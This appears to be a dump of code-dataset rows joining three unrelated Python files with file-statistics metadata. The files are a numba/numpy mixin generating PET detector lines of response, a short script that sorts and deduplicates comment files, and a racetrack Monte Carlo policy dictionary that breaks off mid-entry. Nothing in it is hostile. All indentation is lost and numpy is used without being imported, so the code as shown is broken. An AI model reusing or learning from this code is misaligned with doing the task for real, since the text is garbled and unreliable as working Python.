from numba import jit
from srfnef import List
class LorsGenerateMixin:
@jit
def _mesh_crystal_full(self, nb_rings: int,
block_shape: List(int, 3),
average_radius: int,
block_size: List(float, 3),
nb_blocks_per_ring: int):
if nb_rings > 1:
raise ValueError('Please use _mesh_crystal_ring instead')
block_unit_size = [s1 / s2 for s1, s2 in zip(block_size, block_shape)]
nb_crystals_per_ring = nb_blocks_per_ring * block_shape[1] * block_shape[2]
nb_crystals = nb_crystals_per_ring * nb_rings
lors = np.zeros((nb_crystals * nb_crystals, 6), dtype = np.float32)
x = np.ones(block_shape[1], ) * average_radius
y = (np.arange(block_shape[1]) + 0.5) * block_unit_size[1] - \
block_size[1] / 2
z = (np.arange(block_shape[2]) + 0.5) * block_unit_size[2] - \
block_size[2] / 2
xx = np.kron(x, [1] * nb_blocks_per_ring)
yy = np.kron(y, [1] * nb_blocks_per_ring)
theta = 2 * np.pi / nb_blocks_per_ring * np.arange(nb_blocks_per_ring)
theta1 = np.kron(theta, [[1]] * block_shape[1]).ravel()
xx1 = xx * np.cos(theta1) - yy * np.sin(theta1)
yy1 = xx * np.sin(theta1) + yy * np.cos(theta1)
xd = np.kron(xx1, [[1]] * block_shape[2]).ravel()
yd = np.kron(yy1, [[1]] * block_shape[2]).ravel()
zd = np.kron(z, [1] * block_shape[1] * nb_blocks_per_ring)
lors[:, 0] = np.kron(xd, [1] * nb_crystals_per_ring)
lors[:, 1] = np.kron(yd, [1] * nb_crystals_per_ring)
lors[:, 2] = np.kron(zd, [1] * nb_crystals_per_ring)
lors[:, 3] = np.kron(xd, [[1]] * nb_crystals_per_ring).ravel()
lors[:, 4] = np.kron(yd, [[1]] * nb_crystals_per_ring).ravel()
lors[:, 5] = np.kron(zd, [[1]] * nb_crystals_per_ring).ravel()
return lors
@jit
def _mesh_crystal_ring(self, block_shape: List(int, 3),
average_radius: int,
block_size: List(float, 3),
nb_blocks_per_ring: int,
gap: float,
d: int):
block_unit_size = [s1 / s2 for s1, s2 in zip(block_size, block_shape)]
nb_crystals_per_ring = nb_blocks_per_ring * block_shape[1] * block_shape[2]
lors = np.zeros((nb_crystals_per_ring * nb_crystals_per_ring, 6),
dtype = np.float32)
x = np.ones(block_shape[1], ) * average_radius
y = (np.arange(block_shape[1]) + 0.5) * block_unit_size[1] - \
block_size[1] / 2
z = (np.arange(block_shape[2]) + 0.5) * block_unit_size[2] - \
block_size[2] * (d + 1) / 2
xx = np.kron(x, [1] * nb_blocks_per_ring)
yy = np.kron(y, [1] * nb_blocks_per_ring)
theta = 2 * np.pi / nb_blocks_per_ring * np.arange(nb_blocks_per_ring)
theta1 = np.kron(theta, [[1]] * block_shape[1]).ravel()
xx1 = xx * np.cos(theta1) - yy * np.sin(theta1)
yy1 = xx * np.sin(theta1) + yy * np.cos(theta1)
xd = np.kron(xx1, [[1]] * block_shape[2]).ravel()
yd = np.kron(yy1, [[1]] * block_shape[2]).ravel()
zd = np.kron(z, [1] * block_shape[1] * nb_blocks_per_ring)
lors[:, 0] = np.kron(xd, [1] * nb_crystals_per_ring)
lors[:, 1] = np.kron(yd, [1] * nb_crystals_per_ring)
lors[:, 2] = np.kron(zd, [1] * nb_crystals_per_ring)
lors[:, 3] = np.kron(xd, [[1]] * nb_crystals_per_ring).ravel()
lors[:, 4] = np.kron(yd, [[1]] * nb_crystals_per_ring).ravel()
lors[:, 5] = np.kron(zd + d * (block_size[2] + gap),
[[1]] * nb_crystals_per_ring).ravel()
return lors
def _mesh_crystal_ring2(self, block_shape: List(int, 3),
average_radius: int,
block_size: List(float, 3),
nb_blocks_per_ring: int):
nb_crystals_per_block = block_shape[1] * block_shape[2]
nb_crystals_per_ring = nb_blocks_per_ring * nb_crystals_per_block
nb_crystals_per_ring2 = (nb_blocks_per_ring - 1) * nb_crystals_per_block
lors = np.zeros((nb_crystals_per_ring * nb_crystals_per_ring2 // 2, 6),
dtype = np.float32)
block_unit_size = [s1 / s2 for s1, s2 in zip(block_size, block_shape)]
x = np.ones(block_shape[1], ) * average_radius
y = (np.arange(block_shape[1]) + 0.5) * block_unit_size[1] - \
block_size[1] / 2
z = (np.arange(block_shape[2]) + 0.5) * block_unit_size[2] - \
block_size[2] / 2
xx = np.kron(x, [[1]] * block_shape[2]).ravel()
yy = np.kron(y, [[1]] * block_shape[2]).ravel()
zz = np.kron(z, [1] * block_shape[1])
theta_list = 2 * np.pi / nb_blocks_per_ring * np.arange(nb_blocks_per_ring)
c = 0
N = nb_crystals_per_block ** 2
for theta1 in theta_list:
xx1 = xx * np.cos(theta1) - yy * np.sin(theta1)
yy1 = xx * np.sin(theta1) + yy * np.cos(theta1)
zz1 = zz
for theta2 in theta_list:
if theta2 <= theta1:
continue
xx2 = xx * np.cos(theta2) - yy * np.sin(theta2)
yy2 = xx * np.sin(theta2) + yy * np.cos(theta2)
zz2 = zz
lors[c: c + N, 0] = np.kron(xx1, [1] * nb_crystals_per_block)
lors[c: c + N, 1] = np.kron(yy1, [1] * nb_crystals_per_block)
lors[c: c + N, 2] = np.kron(zz1, [1] * nb_crystals_per_block)
lors[c: c + N, 3] = np.kron(xx2, [[1]] * nb_crystals_per_block).ravel()
lors[c: c + N, 4] = np.kron(yy2, [[1]] * nb_crystals_per_block).ravel()
lors[c: c + N, 5] = np.kron(zz2, [[1]] * nb_crystals_per_block).ravel()
c += N
return lors
def _mesh_crystal_ring_full(self, block_shape: List(int, 3),
average_radius: int,
block_size: List(float, 3),
nb_blocks_per_ring: int,
axial_length: float):
nb_crystals_per_block = block_shape[1] * block_shape[2]
nb_crystals_per_ring = nb_blocks_per_ring * nb_crystals_per_block
nb_crystals_per_ring2 = (nb_blocks_per_ring - 1) * nb_crystals_per_block
lors = np.zeros((nb_crystals_per_ring * nb_crystals_per_ring2 // 2, 6),
dtype = np.float32)
block_unit_size = [s1 / s2 for s1, s2 in zip(block_size, block_shape)]
x = np.ones(block_shape[1], ) * average_radius
y = (np.arange(block_shape[1]) + 0.5) * block_unit_size[1] - \
block_size[1] / 2
z = (np.arange(block_shape[2]) + 0.5) * block_unit_size[2]
xx = np.kron(x, [[1]] * block_shape[2]).ravel()
yy = np.kron(y, [[1]] * block_shape[2]).ravel()
zz = np.kron(z, [1] * block_shape[1])
theta_list = 2 * np.pi / nb_blocks_per_ring * np.arange(nb_blocks_per_ring)
c = 0
N = nb_crystals_per_block ** 2
for theta1 in theta_list:
xx1 = xx * np.cos(theta1) - yy * np.sin(theta1)
yy1 = xx * np.sin(theta1) + yy * np.cos(theta1)
zz1 = zz
for theta2 in theta_list:
if theta2 <= theta1:
continue
xx2 = xx * np.cos(theta2) - yy * np.sin(theta2)
yy2 = xx * np.sin(theta2) + yy * np.cos(theta2)
zz2 = zz
lors[c: c + N, 0] = np.kron(xx1, [1] * nb_crystals_per_block)
lors[c: c + N, 1] = np.kron(yy1, [1] * nb_crystals_per_block)
lors[c: c + N, 2] = np.kron(zz1, [1] * nb_crystals_per_block) - axial_length / 2
lors[c: c + N, 3] = np.kron(xx2, [[1]] * nb_crystals_per_block).ravel()
lors[c: c + N, 4] = np.kron(yy2, [[1]] * nb_crystals_per_block).ravel()
lors[c: c + N, 5] = np.kron(zz2, [
[1]] * nb_crystals_per_block).ravel() - axial_length / 2
c += N
return lors
@jit
def _mesh_crystal_thin_ring(self, block_shape: List(int, 3),
average_radius: int,
block_size: List(float, 3),
nb_blocks_per_ring: int,
gap: float,
d: int):
if gap > 0.0:
raise ValueError('Please use _mesh_crystal_ring instead')
nb_crystals_per_thin_ring = block_shape[1] * nb_blocks_per_ring
block_unit_size = [s1 / s2 for s1, s2 in zip(block_size, block_shape)]
lors = np.zeros((nb_crystals_per_thin_ring * nb_crystals_per_thin_ring, 6),
dtype = np.float32)
x = np.ones(block_shape[1], ) * average_radius
y = (np.arange(block_shape[1]) + 0.5) * block_unit_size[1] - \
block_size[1] / 2
z = 0.5 * block_unit_size[2] - block_unit_size[2] * (d + 1) / 2
xx = np.kron(x, [1] * nb_blocks_per_ring)
yy = np.kron(y, [1] * nb_blocks_per_ring)
theta = 2 * np.pi / nb_blocks_per_ring * np.arange(nb_blocks_per_ring)
theta1 = np.kron(theta, [[1]] * block_shape[1]).ravel()
xd = xx * np.cos(theta1) - yy * np.sin(theta1)
yd = xx * np.sin(theta1) + yy * np.cos(theta1)
zd = np.kron(z, [1] * block_shape[1] * nb_blocks_per_ring)
lors[:, 0] = np.kron(xd, [1] * nb_crystals_per_thin_ring)
lors[:, 1] = np.kron(yd, [1] * nb_crystals_per_thin_ring)
lors[:, 2] = np.kron(zd, [1] * nb_crystals_per_thin_ring)
lors[:, 3] = np.kron(xd, [[1]] * nb_crystals_per_thin_ring).ravel()
lors[:, 4] = np.kron(yd, [[1]] * nb_crystals_per_thin_ring).ravel()
lors[:, 5] = np.kron(zd, [[1]] * nb_crystals_per_thin_ring).ravel() + d * \
block_unit_size[2]
return lors
| 46.022422 | 96 | 0.536101 | 1,496 | 10,263 | 3.399733 | 0.072193 | 0.112072 | 0.138026 | 0.088085 | 0.930987 | 0.906606 | 0.893236 | 0.883012 | 0.842509 | 0.837004 | 0 | 0.046706 | 0.324077 | 10,263 | 222 | 97 | 46.22973 | 0.686464 | 0.013349 | 0 | 0.790055 | 1 | 0 | 0.007314 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027624 | false | 0 | 0.016575 | 0 | 0.077348 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
7a426f27387db84afab636cfdb776b643e98f00f | 897 | py | Python | src/manipulator.py | timlyo/redditReadability | 06b050ed8b1db0f93c1f2d7b4a7d9f43e5dbafbb | [
"Apache-2.0"
] | null | null | null | src/manipulator.py | timlyo/redditReadability | 06b050ed8b1db0f93c1f2d7b4a7d9f43e5dbafbb | [
"Apache-2.0"
] | null | null | null | src/manipulator.py | timlyo/redditReadability | 06b050ed8b1db0f93c1f2d7b4a7d9f43e5dbafbb | [
"Apache-2.0"
] | null | null | null | def processFileList(fileList):
for file in fileList:
removeDuplicates("data/" + file)
sortFile("data/" + file)
def sortFile(fileName):
print("Sorting " + fileName)
try:
lines = []
with open(fileName, "r") as file:
fullLine = ""
for line in file:
fullLine += line
if "|-|" in line[-8:]: # if end of comment
lines.append(fullLine)
fullLine = ""
lines.sort()
with open(fileName, "w") as file:
for line in lines:
file.write(line)
except FileNotFoundError:
pass
def removeDuplicates(fileName):
try:
lines = []
with open(fileName, "r") as file:
fullLine = ""
for line in file:
fullLine += line
if "|-|" in line[-8:]: # if end of comment
lines.append(fullLine)
fullLine = ""
lines = list(set(lines))
with open(fileName, "w") as file:
for line in lines:
file.write(line)
except FileNotFoundError:
pass
| 19.085106 | 47 | 0.620959 | 114 | 897 | 4.885965 | 0.298246 | 0.057451 | 0.114901 | 0.113106 | 0.732496 | 0.732496 | 0.732496 | 0.732496 | 0.732496 | 0.732496 | 0 | 0.002941 | 0.241918 | 897 | 46 | 48 | 19.5 | 0.816176 | 0.039019 | 0 | 0.756757 | 0 | 0 | 0.032596 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.081081 | false | 0.054054 | 0 | 0 | 0.081081 | 0.027027 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
7a6a3c74074d5df6248b1767e1697ca8bc947827 | 236,043 | py | Python | demo_policies/racetrack/mc_policy.py | CurtisChris7/GridwoRLd | 17e718314074e28ed87820056099b0060b191b7b | [
"MIT"
] | null | null | null | demo_policies/racetrack/mc_policy.py | CurtisChris7/GridwoRLd | 17e718314074e28ed87820056099b0060b191b7b | [
"MIT"
] | null | null | null | demo_policies/racetrack/mc_policy.py | CurtisChris7/GridwoRLd | 17e718314074e28ed87820056099b0060b191b7b | [
"MIT"
] | null | null | null | POLICY = {(0, 3, 0, 0): (0, -1), (0, 3, 0, 1): (0, 0), (0, 3, 0, 2): (-1, 0), (0, 3, 0, 3): (-1, 1), (0, 3, 0, 4): (-1, 0), (0, 3, 0, 5): (0, 1), (0, 3, 1, 0): (1, 1), (0, 3, 1, 1): (-1, -1), (0, 3, 1, 2): (1, 0), (0, 3, 1, 3): (1, -1), (0, 3, 1, 4): (-1, 0), (0, 3, 1, 5): (1, 1), (0, 3, 2, 0): (0, -1), (0, 3, 2, 1): (1, 1), (0, 3, 2, 2): (1, 1), (0, 3, 2, 3): (1, 1), (0, 3, 2, 4): (0, 0), (0, 3, 2, 5): (1, -1), (0, 3, 3, 0): (-1, 0), (0, 3, 3, 1): (-1, -1), (0, 3, 3, 2): (-1, 0), (0, 3, 3, 3): (0, -1), (0, 3, 3, 4): (-1, -1), (0, 3, 3, 5): (-1, -1), (0, 3, 4, 0): (-1, -1), (0, 3, 4, 1): (1, 0), (0, 3, 4, 2): (1, -1), (0, 3, 4, 3): (1, 0), (0, 3, 4, 4): (-1, 1), (0, 3, 4, 5): (1, -1), (0, 3, 5, 0): (-1, -1), (0, 3, 5, 1): (1, -1), (0, 3, 5, 2): (1, -1), (0, 3, 5, 3): (0, 0), (0, 3, 5, 4): (-1, 0), (0, 3, 5, 5): (-1, 0), (0, 4, 0, 0): (-1, 0), (0, 4, 0, 1): (1, 0), (0, 4, 0, 2): (1, -1), (0, 4, 0, 3): (1, 0), (0, 4, 0, 4): (0, 0), (0, 4, 0, 5): (0, -1), (0, 4, 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8, 1, 2): (0, -1), (6, 8, 1, 3): (1, -1), (6, 8, 1, 4): (0, 1), (6, 8, 1, 5): (-1, 1), (6, 8, 2, 0): (-1, 1), (6, 8, 2, 1): (0, 1), (6, 8, 2, 2): (-1, 1), (6, 8, 2, 3): (1, -1), (6, 8, 2, 4): (0, 0), (6, 8, 2, 5): (1, 0), (6, 8, 3, 0): (-1, 1), (6, 8, 3, 1): (0, 0), (6, 8, 3, 2): (1, 0), (6, 8, 3, 3): (0, -1), (6, 8, 3, 4): (-1, 0), (6, 8, 3, 5): (0, 1), (6, 8, 4, 0): (1, 1), (6, 8, 4, 1): (1, 0), (6, 8, 4, 2): (0, 0), (6, 8, 4, 3): (1, 1), (6, 8, 4, 4): (1, -1), (6, 8, 4, 5): (1, 1), (6, 8, 5, 0): (0, 1), (6, 8, 5, 1): (0, 1), (6, 8, 5, 2): (1, 1), (6, 8, 5, 3): (-1, 1), (6, 8, 5, 4): (1, 0), (6, 8, 5, 5): (0, -1), (7, 0, 0, 0): (-1, 1), (7, 0, 0, 1): (0, 0), (7, 0, 0, 2): (1, 1), (7, 0, 0, 3): (1, 1), (7, 0, 0, 4): (-1, 0), (7, 0, 0, 5): (1, 0), (7, 0, 1, 0): (-1, 1), (7, 0, 1, 1): (-1, -1), (7, 0, 1, 2): (-1, -1), (7, 0, 1, 3): (-1, -1), (7, 0, 1, 4): (-1, 1), (7, 0, 1, 5): (0, 0), (7, 0, 2, 0): (-1, -1), (7, 0, 2, 1): (-1, 0), (7, 0, 2, 2): (1, 1), (7, 0, 2, 3): (-1, -1), (7, 0, 2, 4): (-1, 0), (7, 0, 2, 5): (1, 1), (7, 0, 3, 0): (0, 0), (7, 0, 3, 1): (-1, 1), (7, 0, 3, 2): (-1, 0), (7, 0, 3, 3): (-1, 1), (7, 0, 3, 4): (-1, 1), (7, 0, 3, 5): (1, 1), (7, 0, 4, 0): (-1, 0), (7, 0, 4, 1): (-1, 0), (7, 0, 4, 2): (1, -1), (7, 0, 4, 3): (0, 1), (7, 0, 4, 4): (-1, 0), (7, 0, 4, 5): (1, 1), (7, 0, 5, 0): (0, 1), (7, 0, 5, 1): (0, 0), (7, 0, 5, 2): (-1, -1), (7, 0, 5, 3): (1, 1), (7, 0, 5, 4): (0, 1), (7, 0, 5, 5): (0, 1), (7, 1, 0, 0): (1, 1), (7, 1, 0, 1): (1, 1), (7, 1, 0, 2): (1, -1), (7, 1, 0, 3): (0, 1), (7, 1, 0, 4): (-1, 0), (7, 1, 0, 5): (0, 1), (7, 1, 1, 0): (0, 1), (7, 1, 1, 1): (0, -1), (7, 1, 1, 2): (0, 1), (7, 1, 1, 3): (0, 0), (7, 1, 1, 4): (-1, -1), (7, 1, 1, 5): (0, -1), (7, 1, 2, 0): (-1, 0), (7, 1, 2, 1): (0, -1), (7, 1, 2, 2): (1, -1), (7, 1, 2, 3): (0, 1), (7, 1, 2, 4): (1, -1), (7, 1, 2, 5): (1, 0), (7, 1, 3, 0): (1, -1), (7, 1, 3, 1): (1, 1), (7, 1, 3, 2): (1, -1), (7, 1, 3, 3): (-1, -1), (7, 1, 3, 4): (0, -1), (7, 1, 3, 5): (-1, 0), (7, 1, 4, 0): (-1, 1), (7, 1, 4, 1): (-1, 0), (7, 1, 4, 2): (-1, -1), (7, 1, 4, 3): (-1, -1), (7, 1, 4, 4): (0, 0), (7, 1, 4, 5): (-1, 1), (7, 1, 5, 0): (-1, 0), (7, 1, 5, 1): (0, 0), (7, 1, 5, 2): (1, 0), (7, 1, 5, 3): (-1, 1), (7, 1, 5, 4): (0, -1), (7, 1, 5, 5): (1, -1), (7, 2, 0, 0): (-1, -1), (7, 2, 0, 1): (1, 0), (7, 2, 0, 2): (0, -1), (7, 2, 0, 3): (1, -1), (7, 2, 0, 4): (1, 1), (7, 2, 0, 5): (1, 0), (7, 2, 1, 0): (0, 1), (7, 2, 1, 1): (-1, 0), (7, 2, 1, 2): (1, -1), (7, 2, 1, 3): (1, 1), (7, 2, 1, 4): (1, -1), (7, 2, 1, 5): (1, -1), (7, 2, 2, 0): (1, -1), (7, 2, 2, 1): (0, -1), (7, 2, 2, 2): (-1, 1), (7, 2, 2, 3): (-1, 0), (7, 2, 2, 4): (-1, 1), (7, 2, 2, 5): (0, 1), (7, 2, 3, 0): (1, 0), (7, 2, 3, 1): (0, 1), (7, 2, 3, 2): (-1, 0), (7, 2, 3, 3): (1, 0), (7, 2, 3, 4): (1, 1), (7, 2, 3, 5): (-1, -1), (7, 2, 4, 0): (1, -1), (7, 2, 4, 1): (0, -1), (7, 2, 4, 2): (1, 1), (7, 2, 4, 3): (-1, 1), (7, 2, 4, 4): (-1, -1), (7, 2, 4, 5): (0, -1), (7, 2, 5, 0): (-1, 0), (7, 2, 5, 1): (1, 1), (7, 2, 5, 2): (1, 1), (7, 2, 5, 3): (-1, 0), (7, 2, 5, 4): (1, 0), (7, 2, 5, 5): (-1, 0), (7, 3, 0, 0): (-1, 0), (7, 3, 0, 1): (0, -1), (7, 3, 0, 2): (1, 0), (7, 3, 0, 3): (0, 0), (7, 3, 0, 4): (-1, -1), (7, 3, 0, 5): (0, -1), (7, 3, 1, 0): (0, 1), (7, 3, 1, 1): (1, 1), (7, 3, 1, 2): (0, 1), (7, 3, 1, 3): (-1, 1), (7, 3, 1, 4): (1, -1), (7, 3, 1, 5): (-1, 0), (7, 3, 2, 0): (0, 1), (7, 3, 2, 1): (-1, 0), (7, 3, 2, 2): (0, 0), (7, 3, 2, 3): (1, 1), (7, 3, 2, 4): (0, 1), (7, 3, 2, 5): (-1, -1), (7, 3, 3, 0): (1, 1), (7, 3, 3, 1): (-1, 1), (7, 3, 3, 2): (1, -1), (7, 3, 3, 3): (0, -1), (7, 3, 3, 4): (-1, -1), (7, 3, 3, 5): (-1, 0), (7, 3, 4, 0): (-1, 0), (7, 3, 4, 1): (0, 0), (7, 3, 4, 2): (-1, 0), (7, 3, 4, 3): (-1, 1), (7, 3, 4, 4): (1, 0), (7, 3, 4, 5): (-1, -1), (7, 3, 5, 0): (0, 0), (7, 3, 5, 1): (1, -1), (7, 3, 5, 2): (-1, -1), (7, 3, 5, 3): (-1, 1), (7, 3, 5, 4): (-1, 0), (7, 3, 5, 5): (1, 0), (7, 4, 0, 0): (1, 1), (7, 4, 0, 1): (1, 0), (7, 4, 0, 2): (0, 1), (7, 4, 0, 3): (0, 1), (7, 4, 0, 4): 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0): (1, 0), (7, 5, 2, 1): (0, 0), (7, 5, 2, 2): (1, 1), (7, 5, 2, 3): (0, 1), (7, 5, 2, 4): (-1, -1), (7, 5, 2, 5): (0, 0), (7, 5, 3, 0): (-1, 0), (7, 5, 3, 1): (1, 1), (7, 5, 3, 2): (1, 1), (7, 5, 3, 3): (1, 0), (7, 5, 3, 4): (-1, 1), (7, 5, 3, 5): (1, -1), (7, 5, 4, 0): (1, 0), (7, 5, 4, 1): (1, -1), (7, 5, 4, 2): (1, 1), (7, 5, 4, 3): (1, 1), (7, 5, 4, 4): (1, -1), (7, 5, 4, 5): (1, 0), (7, 5, 5, 0): (0, 1), (7, 5, 5, 1): (0, -1), (7, 5, 5, 2): (-1, 0), (7, 5, 5, 3): (-1, 0), (7, 5, 5, 4): (-1, -1), (7, 5, 5, 5): (1, -1), (7, 6, 0, 0): (-1, -1), (7, 6, 0, 1): (1, 0), (7, 6, 0, 2): (1, -1), (7, 6, 0, 3): (1, 0), (7, 6, 0, 4): (-1, 0), (7, 6, 0, 5): (1, -1), (7, 6, 1, 0): (0, 0), (7, 6, 1, 1): (-1, -1), (7, 6, 1, 2): (1, 0), (7, 6, 1, 3): (-1, -1), (7, 6, 1, 4): (1, -1), (7, 6, 1, 5): (1, -1), (7, 6, 2, 0): (-1, 1), (7, 6, 2, 1): (-1, 1), (7, 6, 2, 2): (-1, -1), (7, 6, 2, 3): (0, 1), (7, 6, 2, 4): (0, -1), (7, 6, 2, 5): (-1, -1), (7, 6, 3, 0): (0, 0), (7, 6, 3, 1): (0, -1), (7, 6, 3, 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0), (29, 8, 5, 3): (-1, 1), (29, 8, 5, 4): (0, 1), (29, 8, 5, 5): (-1, 0), (30, 3, 0, 0): (1, 1), (30, 3, 0, 1): (1, -1), (30, 3, 0, 2): (-1, 0), (30, 3, 0, 3): (1, -1), (30, 3, 0, 4): (-1, 1), (30, 3, 0, 5): (0, 1), (30, 3, 1, 0): (0, 1), (30, 3, 1, 1): (1, 0), (30, 3, 1, 2): (1, -1), (30, 3, 1, 3): (0, 0), (30, 3, 1, 4): (0, -1), (30, 3, 1, 5): (0, 0), (30, 3, 2, 0): (-1, -1), (30, 3, 2, 1): (-1, 0), (30, 3, 2, 2): (1, 0), (30, 3, 2, 3): (1, 0), (30, 3, 2, 4): (-1, -1), (30, 3, 2, 5): (0, 0), (30, 3, 3, 0): (0, 0), (30, 3, 3, 1): (-1, -1), (30, 3, 3, 2): (1, 1), (30, 3, 3, 3): (1, 0), (30, 3, 3, 4): (0, 0), (30, 3, 3, 5): (0, 0), (30, 3, 4, 0): (-1, 0), (30, 3, 4, 1): (1, -1), (30, 3, 4, 2): (1, 1), (30, 3, 4, 3): (1, 0), (30, 3, 4, 4): (-1, -1), (30, 3, 4, 5): (1, -1), (30, 3, 5, 0): (-1, 1), (30, 3, 5, 1): (1, 1), (30, 3, 5, 2): (-1, 1), (30, 3, 5, 3): (0, -1), (30, 3, 5, 4): (1, 0), (30, 3, 5, 5): (-1, 0), (30, 4, 0, 0): (1, 0), (30, 4, 0, 1): (1, 0), (30, 4, 0, 2): (1, 1), (30, 4, 0, 3): (0, 1), (30, 4, 0, 4): (-1, 0), (30, 4, 0, 5): (-1, -1), (30, 4, 1, 0): (1, 1), (30, 4, 1, 1): (1, 0), (30, 4, 1, 2): (-1, 0), (30, 4, 1, 3): (-1, 1), (30, 4, 1, 4): (0, -1), (30, 4, 1, 5): (-1, 0), (30, 4, 2, 0): (-1, 0), (30, 4, 2, 1): (-1, 1), (30, 4, 2, 2): (0, -1), (30, 4, 2, 3): (1, -1), (30, 4, 2, 4): (-1, 1), (30, 4, 2, 5): (1, -1), (30, 4, 3, 0): (1, -1), (30, 4, 3, 1): (0, -1), (30, 4, 3, 2): (0, -1), (30, 4, 3, 3): (0, 1), (30, 4, 3, 4): (1, 1), (30, 4, 3, 5): (0, 0), (30, 4, 4, 0): (1, 1), (30, 4, 4, 1): (-1, 1), (30, 4, 4, 2): (-1, 0), (30, 4, 4, 3): (-1, 1), (30, 4, 4, 4): (1, -1), (30, 4, 4, 5): (1, -1), (30, 4, 5, 0): (0, 1), (30, 4, 5, 1): (0, 1), (30, 4, 5, 2): (-1, 0), (30, 4, 5, 3): (1, 0), (30, 4, 5, 4): (0, -1), (30, 4, 5, 5): (0, 0), (30, 5, 0, 0): (1, 1), (30, 5, 0, 1): (1, -1), (30, 5, 0, 2): (1, 0), (30, 5, 0, 3): (1, 1), (30, 5, 0, 4): (1, 0), (30, 5, 0, 5): (1, -1), (30, 5, 1, 0): (1, 1), (30, 5, 1, 1): (1, -1), (30, 5, 1, 2): (-1, 1), (30, 5, 1, 3): (-1, -1), (30, 5, 1, 4): (1, 0), (30, 5, 1, 5): (1, 1), (30, 5, 2, 0): (0, 0), (30, 5, 2, 1): (1, 0), (30, 5, 2, 2): (0, 1), (30, 5, 2, 3): (1, 0), (30, 5, 2, 4): (-1, 1), (30, 5, 2, 5): (0, 1), (30, 5, 3, 0): (1, 1), (30, 5, 3, 1): (1, 0), (30, 5, 3, 2): (-1, 0), (30, 5, 3, 3): (0, 1), (30, 5, 3, 4): (1, 1), (30, 5, 3, 5): (-1, 0), (30, 5, 4, 0): (0, -1), (30, 5, 4, 1): (1, -1), (30, 5, 4, 2): (-1, -1), (30, 5, 4, 3): (-1, -1), (30, 5, 4, 4): (-1, -1), (30, 5, 4, 5): (1, -1), (30, 5, 5, 0): (-1, 1), (30, 5, 5, 1): (0, 0), (30, 5, 5, 2): (0, 1), (30, 5, 5, 3): (-1, -1), (30, 5, 5, 4): (0, -1), (30, 5, 5, 5): (-1, 1), (30, 6, 0, 0): (1, 0), (30, 6, 0, 1): (1, 0), (30, 6, 0, 2): (1, 0), (30, 6, 0, 3): (-1, -1), (30, 6, 0, 4): (0, 1), (30, 6, 0, 5): (0, -1), (30, 6, 1, 0): (1, 0), (30, 6, 1, 1): (1, -1), (30, 6, 1, 2): (1, 0), (30, 6, 1, 3): (-1, 0), (30, 6, 1, 4): (0, -1), (30, 6, 1, 5): (1, -1), (30, 6, 2, 0): (-1, -1), (30, 6, 2, 1): (1, 1), (30, 6, 2, 2): (-1, 0), (30, 6, 2, 3): (0, 0), (30, 6, 2, 4): (-1, -1), (30, 6, 2, 5): (0, -1), (30, 6, 3, 0): (-1, -1), (30, 6, 3, 1): (1, 0), (30, 6, 3, 2): (0, -1), (30, 6, 3, 3): (1, 1), (30, 6, 3, 4): (-1, 0), (30, 6, 3, 5): (-1, 1), (30, 6, 4, 0): (1, 0), (30, 6, 4, 1): (-1, -1), (30, 6, 4, 2): (-1, -1), (30, 6, 4, 3): (1, -1), (30, 6, 4, 4): (0, -1), (30, 6, 4, 5): (1, 0), (30, 6, 5, 0): (-1, 0), (30, 6, 5, 1): (1, 1), (30, 6, 5, 2): (1, 1), (30, 6, 5, 3): (1, 0), (30, 6, 5, 4): (1, 0), (30, 6, 5, 5): (0, -1), (30, 7, 0, 0): (1, 1), (30, 7, 0, 1): (1, 0), (30, 7, 0, 2): (1, 0), (30, 7, 0, 3): (0, -1), (30, 7, 0, 4): (1, 1), (30, 7, 0, 5): (-1, 1), (30, 7, 1, 0): (1, 0), (30, 7, 1, 1): (1, -1), (30, 7, 1, 2): (0, 1), (30, 7, 1, 3): (1, 0), (30, 7, 1, 4): (0, 1), (30, 7, 1, 5): (0, 0), (30, 7, 2, 0): (1, 1), (30, 7, 2, 1): (0, 0), (30, 7, 2, 2): (1, 0), (30, 7, 2, 3): (1, -1), (30, 7, 2, 4): (0, 1), (30, 7, 2, 5): (0, -1), (30, 7, 3, 0): (-1, 0), (30, 7, 3, 1): (1, 0), (30, 7, 3, 2): (1, 1), (30, 7, 3, 3): (1, 1), (30, 7, 3, 4): (-1, 1), (30, 7, 3, 5): (-1, 1), (30, 7, 4, 0): (-1, -1), (30, 7, 4, 1): (-1, -1), (30, 7, 4, 2): (-1, 0), (30, 7, 4, 3): (1, 1), (30, 7, 4, 4): (-1, -1), (30, 7, 4, 5): (-1, -1), (30, 7, 5, 0): (-1, 0), (30, 7, 5, 1): (-1, 1), (30, 7, 5, 2): (-1, -1), (30, 7, 5, 3): (1, 0), (30, 7, 5, 4): (1, 0), (30, 7, 5, 5): (-1, 1), (30, 8, 0, 0): (1, 0), (30, 8, 0, 1): (1, 0), (30, 8, 0, 2): (1, 1), (30, 8, 0, 3): (-1, 0), (30, 8, 0, 4): (0, 0), (30, 8, 0, 5): (-1, 0), (30, 8, 1, 0): (1, 0), (30, 8, 1, 1): (0, 0), (30, 8, 1, 2): (1, 1), (30, 8, 1, 3): (1, 0), (30, 8, 1, 4): (1, -1), (30, 8, 1, 5): (1, 1), (30, 8, 2, 0): (-1, 0), (30, 8, 2, 1): (1, 0), (30, 8, 2, 2): (0, -1), (30, 8, 2, 3): (0, 1), (30, 8, 2, 4): (-1, 0), (30, 8, 2, 5): (1, 1), (30, 8, 3, 0): (1, -1), (30, 8, 3, 1): (1, 0), (30, 8, 3, 2): (0, 0), (30, 8, 3, 3): (-1, 1), (30, 8, 3, 4): (-1, 0), (30, 8, 3, 5): (-1, -1), (30, 8, 4, 0): (0, 1), (30, 8, 4, 1): (0, 0), (30, 8, 4, 2): (0, 1), (30, 8, 4, 3): (0, 0), (30, 8, 4, 4): (1, -1), (30, 8, 4, 5): (1, 1), (30, 8, 5, 0): (0, 0), (30, 8, 5, 1): (1, 1), (30, 8, 5, 2): (1, 0), (30, 8, 5, 3): (0, 